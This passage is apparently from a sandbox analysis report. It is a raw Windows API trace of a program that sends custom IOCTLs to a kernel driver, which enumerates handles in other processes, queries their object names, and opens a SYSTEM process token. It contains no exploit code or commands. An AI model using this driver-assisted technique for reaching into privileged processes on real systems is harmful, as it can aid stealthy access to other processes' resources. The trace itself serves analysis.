[0113.030] CloseHandle (hObject=0xc8) returned 1 [0113.030] CloseHandle (hObject=0xc0) returned 1 [0113.030] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.031] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.031] PsAcquireProcessExitSynchronization () returned 0x0 [0113.031] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.031] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0113.031] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.031] PsReleaseProcessExitSynchronization () returned 0x2 [0113.031] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.031] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.031] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0113.031] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.031] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.031] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.031] PsAcquireProcessExitSynchronization () returned 0x0 [0113.031] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.031] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0113.031] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.031] PsReleaseProcessExitSynchronization () returned 0x2 [0113.031] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.031] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.031] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0113.031] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.031] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.031] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.031] PsAcquireProcessExitSynchronization () returned 0x0 [0113.031] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.031] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0113.031] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.031] PsReleaseProcessExitSynchronization () returned 0x2 [0113.031] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.032] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.032] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0113.032] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.032] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.032] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0113.032] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.032] PsAcquireProcessExitSynchronization () returned 0x0 [0113.032] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.032] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0113.032] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.032] PsReleaseProcessExitSynchronization () returned 0x2 [0113.032] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.032] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.032] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0113.032] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.032] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.032] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0113.032] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.032] PsAcquireProcessExitSynchronization () returned 0x0 [0113.032] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.032] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0113.032] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.032] PsReleaseProcessExitSynchronization () returned 0x2 [0113.032] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.032] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.032] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0113.032] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.032] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.032] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0113.032] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.032] PsAcquireProcessExitSynchronization () returned 0x0 [0113.033] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.033] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0113.033] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.033] PsReleaseProcessExitSynchronization () returned 0x2 [0113.033] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.033] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.033] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0113.033] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.033] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.033] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0113.033] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.033] PsAcquireProcessExitSynchronization () returned 0x0 [0113.033] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880055905d0) [0113.033] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0113.033] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.033] PsReleaseProcessExitSynchronization () returned 0x2 [0113.033] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0113.033] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.033] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0113.033] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.033] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.033] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0113.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.033] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0113.034] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.034] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x86 [0113.034] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.034] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.034] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.034] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.034] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.035] CloseHandle (hObject=0xc8) returned 1 [0113.035] CloseHandle (hObject=0xc0) returned 1 [0113.035] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.036] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.036] PsAcquireProcessExitSynchronization () returned 0x0 [0113.036] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.036] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0113.036] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.036] PsReleaseProcessExitSynchronization () returned 0x2 [0113.036] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.036] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.036] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0113.036] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.036] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.036] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.036] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.036] PsAcquireProcessExitSynchronization () returned 0x0 [0113.036] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.036] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0113.036] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.036] PsReleaseProcessExitSynchronization () returned 0x2 [0113.036] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.036] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.036] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0113.036] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.036] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.036] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.036] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.036] PsAcquireProcessExitSynchronization () returned 0x0 [0113.036] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.036] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0113.036] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.036] PsReleaseProcessExitSynchronization () returned 0x2 [0113.036] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.037] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.037] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0113.037] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.037] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.037] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.037] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.037] PsAcquireProcessExitSynchronization () returned 0x0 [0113.037] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.037] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0113.037] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.037] PsReleaseProcessExitSynchronization () returned 0x2 [0113.037] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.037] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.037] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0113.037] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.037] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.037] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.037] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.037] PsAcquireProcessExitSynchronization () returned 0x0 [0113.037] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.037] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0113.037] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.037] PsReleaseProcessExitSynchronization () returned 0x2 [0113.037] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.037] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.037] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0113.037] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.038] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.038] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.038] PsAcquireProcessExitSynchronization () returned 0x0 [0113.038] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.038] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0113.038] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.038] PsReleaseProcessExitSynchronization () returned 0x2 [0113.038] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.038] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.038] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0113.038] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.038] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.038] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.038] PsAcquireProcessExitSynchronization () returned 0x0 [0113.039] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880055905d0) [0113.039] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.039] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.039] PsReleaseProcessExitSynchronization () returned 0x2 [0113.039] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0113.039] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.039] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.039] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.039] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.039] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.039] DeviceIoControl (in: hDevice=0x7c, 